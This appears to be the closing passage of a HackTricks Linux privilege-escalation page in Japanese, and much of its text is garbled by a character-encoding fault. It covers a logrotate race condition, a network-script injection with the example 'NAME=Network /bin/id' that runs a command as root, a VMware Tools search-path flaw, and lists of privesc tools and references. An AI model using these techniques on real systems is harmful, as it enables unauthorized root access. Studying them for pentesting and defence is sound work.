logrotate ã«ååšããè匱æ§ã«ããããã°ãã¡ã€ã«ããã®èŠªãã£ã¬ã¯ããªã«å¯Ÿã㊠æžãèŸŒã¿æš©é ãæã€ãŠãŒã¶ãŒãç¹æš©ææ ŒãåŒãèµ·ããå¯èœæ§ããããŸãããã㯠logrotate ãå€ãã®å Žå root ãšããŠå®è¡ãããç¹ã« /etc/bash_completion.d/ ã®ãããªãã£ã¬ã¯ããªã§ä»»æã®ãã¡ã€ã«ãå®è¡ããããæäœã§ããããã§ããæš©é㯠/var/log ã ãã§ãªãããã°ããŒããŒã·ã§ã³ãé©çšããããã¹ãŠã®ãã£ã¬ã¯ããªã§ç¢ºèªããããšãéèŠã§ãã
Tip
ãã®è匱æ§ã¯
logrotateããŒãžã§ã³3.18.0ããã³ãã以åã«åœ±é¿ããŸã
è匱æ§ã®è©³çŽ°ã¯æ¬¡ã®ããŒãžã§ç¢ºèªã§ããŸã: https://tech.feedyourhead.at/content/details-of-a-logrotate-race-conditionã
ãã®è匱æ§ã¯ logrotten ã䜿ã£ãŠæªçšã§ããŸãã
ãã®è匱æ§ã¯ CVE-2016-1247 (nginx logs), ã«éåžžã«ãã䌌ãŠããŸãããã°ã倿Žã§ããããšãåãã£ãå Žåã¯ã誰ããã®ãã°ã管çããŠãããã確èªãããã°ãã·ã³ããªãã¯ãªã³ã¯ã«å·®ãæ¿ããŠç¹æš©ææ Œãå¯èœãã©ããã確èªããŠãã ããã
/etc/sysconfig/network-scripts/ (Centos/Redhat)
è匱æ§ãªãã¡ã¬ã³ã¹: https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f
äœããã®çç±ã§ããŠãŒã¶ãŒã ifcf-<whatever> ã¹ã¯ãªããã /etc/sysconfig/network-scripts ã« æžã蟌㿠ã§ããããŸãã¯æ¢åã®ãã®ã ä¿®æ£ ã§ããå Žåãããªãã® system is pwned ã§ãã
Network scriptsïŒäŸãã° ifcg-eth0ïŒã¯ãããã¯ãŒã¯æ¥ç¶ã«äœ¿çšãããèŠãç®ã¯ .INI ãã¡ã€ã«ãã®ãã®ã§ããããããããã㯠Linux äžã§ Network Manager (dispatcher.d) ã«ãã£ãŠ ~sourced~ ãããŸãã
ç§ã®å Žåããããã®ãããã¯ãŒã¯ã¹ã¯ãªããå
ã® NAME= ã®å€ãæ£ããåŠçãããŠããŸãããåå㫠空çœ/ãã©ã³ã¯ã¹ããŒã¹ ããããšãã·ã¹ãã ã¯ç©ºçœä»¥éã®éšåãå®è¡ããããšããŸããã€ãŸããæåã®ç©ºçœä»¥éã®ãã¹ãŠã root ãšããŠå®è¡ãããããšããããšã§ãã
äŸãã°: /etc/sysconfig/network-scripts/ifcfg-1337
NAME=Network /bin/id
ONBOOT=yes
DEVICE=eth0
(Network ãš /bin/id ã®éã®ç©ºçœã«æ³šæ)
init, init.d, systemd, and rc.d
ãã£ã¬ã¯ã㪠/etc/init.d 㯠System V init (SysVinit) çšã® scripts ã®çœ®ãå Žã§ããstartãstopãrestartãå Žåã«ãã£ãŠã¯ reload ãšãã£ããµãŒãã¹æäœçšã®ã¹ã¯ãªãããå«ãŸãããããã¯çŽæ¥å®è¡ããã /etc/rc?.d/ ã«ããã·ã³ããªãã¯ãªã³ã¯çµç±ã§å®è¡ã§ããŸããRedhat ç³»ã§ã¯ä»£æ¿ãã¹ãšã㊠/etc/rc.d/init.d ã䜿ãããŸãã
äžæ¹ã§ /etc/init 㯠Upstart ã«é¢é£ããŠãããUbuntu ãå°å
¥ããæ°ãã service management ã§ããµãŒãã¹ç®¡ççšã®èšå®ãã¡ã€ã«ã䜿çšããŸããUpstart ãžã®ç§»è¡åŸãäºæã¬ã€ã€ãŒã«ãã SysVinit ã¹ã¯ãªããã Upstart èšå®ãšäžŠè¡ããŠå©çšãããŸãã
systemd ã¯ã¢ãã³ãªåæåããã³ãµãŒãã¹ãããŒãžã£ãšããŠç»å Žãããªã³ããã³ãã®ããŒã¢ã³èµ·åãautomount 管çãã·ã¹ãã ç¶æ
ã®ã¹ãããã·ã§ãããªã©ã®é«åºŠãªæ©èœãæäŸããŸãããã¡ã€ã«ã¯ãã£ã¹ããªãã¥ãŒã·ã§ã³ããã±ãŒãžåãã« /usr/lib/systemd/ã管çè
ã«ãã倿Žçšã« /etc/systemd/system/ ã«æŽçãããã·ã¹ãã 管çãå¹çåãããŸãã
Other Tricks
NFS Privilege escalation
NFS no_root_squash/no_all_squash misconfiguration PE
Escaping from restricted Shells
Cisco - vmanage
Android rooting frameworks: manager-channel abuse
Android ã® rooting frameworks ã¯äžè¬ã« syscall ãããã¯ããŠç¹æš©ã«ãŒãã«æ©èœããŠãŒã¶ãŒã¹ããŒã¹ã® manager ã«å ¬éããŸãã匱ã manager èªèšŒïŒäŸïŒFD-order ã«åºã¥ã眲åãã§ãã¯ãè匱ãªãã¹ã¯ãŒãæ¹åŒïŒããããšãããŒã«ã«ã¢ããªã manager ãåœè£ ããŠæ¢ã« root åãããããã€ã¹ã§ root ã«ææ Œããããšãå¯èœã«ãªããŸãã詳现ãšãšã¯ã¹ããã€ãã®æ å ±ã¯ä»¥äžãåç §ããŠãã ããïŒ
Android Rooting Frameworks Manager Auth Bypass Syscall Hook
VMware Tools service discovery LPE (CWE-426) via regex-based exec (CVE-2025-41244)
VMware Tools/Aria Operations ã«ãããæ£èŠè¡šçŸé§åã®ãµãŒãã¹æ€åºã¯ãããã»ã¹ã®ã³ãã³ãã©ã€ã³ãããã€ããªãã¹ãæœåºããç¹æš©ã³ã³ããã¹ãã§ -v ãä»ããŠå®è¡ããããšããããŸãã蚱容床ã®é«ããã¿ãŒã³ïŒäŸïŒ\S ã®äœ¿çšïŒã¯ãæžã蟌ã¿å¯èœãªå ŽæïŒäŸïŒ/tmp/httpdïŒã«é 眮ããæ»æè ã®ãªã¹ããŒãšãããããroot ãšããŠå®è¡ãããå¯èœæ§ãããïŒCWE-426 Untrusted Search PathïŒãè匱æ§ã«ã€ãªãããŸãã
詳ããã¯ãä»ã® discovery/monitoring ã¹ã¿ãã¯ã«ãé©çšå¯èœãªäžè¬åãã¿ãŒã³ã以äžã§ç¢ºèªããŠãã ããïŒ
Vmware Tools Service Discovery Untrusted Search Path Cve 2025 41244
Kernel Security Protections
- https://github.com/a13xp0p0v/kconfig-hardened-check
- https://github.com/a13xp0p0v/linux-kernel-defence-map
More help
Linux/Unix Privesc Tools
Best tool to look for Linux local privilege escalation vectors: LinPEAS
LinEnum: https://github.com/rebootuser/LinEnum(-t option)
Enumy: https://github.com/luke-goddard/enumy
Unix Privesc Check: http://pentestmonkey.net/tools/audit/unix-privesc-check
Linux Priv Checker: www.securitysift.com/download/linuxprivchecker.py
BeeRoot: https://github.com/AlessandroZ/BeRoot/tree/master/Linux
Kernelpop: Enumerate kernel vulns ins linux and MAC https://github.com/spencerdodd/kernelpop
Mestaploit: multi/recon/local_exploit_suggester
Linux Exploit Suggester: https://github.com/mzet-/linux-exploit-suggester
EvilAbigail (physical access): https://github.com/GDSSecurity/EvilAbigail
Recopilation of more scripts: https://github.com/1N3/PrivEsc
References
- 0xdf â HTB Planning (Crontab UI privesc, zip -P creds reuse)
- 0xdf â HTB Era: forged .text_sig payload for cron-executed monitor
- 0xdf â Holiday Hack Challenge 2025: Neighborhood Watch Bypass (sudo env_keep PATH hijack)
- alseambusher/crontab-ui
- https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/
- https://payatu.com/guide-linux-privilege-escalation/
- https://pen-testing.sans.org/resources/papers/gcih/attack-defend-linux-privilege-escalation-techniques-2016-152744
- http://0x90909090.blogspot.com/2015/07/no-one-expect-command-execution.html
- https://touhidshaikh.com/blog/?p=827
- https://github.com/sagishahar/lpeworkshop/blob/master/Lab%20Exercises%20Walkthrough%20-%20Linux.pdf
- https://github.com/frizb/Linux-Privilege-Escalation
- https://github.com/lucyoa/kernel-exploits
- https://github.com/rtcrowley/linux-private-i
- https://www.linux.com/news/what-socket/
- https://muzec0318.github.io/posts/PG/peppo.html
- https://www.linuxjournal.com/article/7744
- https://blog.certcube.com/suid-executables-linux-privilege-escalation/
- https://juggernaut-sec.com/sudo-part-2-lpe
- https://linuxconfig.org/how-to-manage-acls-on-linux
- https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f
- https://www.linode.com/docs/guides/what-is-systemd/
- 0xdf â HTB Eureka (bash arithmetic injection via logs, overall chain)
- GNU Bash Manual â BASH_ENV (non-interactive startup file)
- 0xdf â HTB Environment (sudo env_keep BASH_ENV â root)
- 0xdf â HTB Previous (sudo terraform dev_overrides + TF_VAR symlink privesc)
- NVISO â You name it, VMware elevates it (CVE-2025-41244)
Tip
AWSãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training AWS Red Team Expert (ARTE)
GCPãããã³ã°ãåŠã³ãå®è·µããïŒHackTricks Training GCP Red Team Expert (GRTE)
Azureãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksããµããŒããã
- ãµãã¹ã¯ãªãã·ã§ã³ãã©ã³ã確èªããŠãã ããïŒ
- **ð¬ Discordã°ã«ãŒããŸãã¯ãã¬ã°ã©ã ã°ã«ãŒãã«åå ããããTwitter ðŠ @hacktricks_liveããã©ããŒããŠãã ããã
- HackTricksããã³HackTricks Cloudã®GitHubãªããžããªã«PRãæåºããŠãããã³ã°ããªãã¯ãå ±æããŠãã ããã


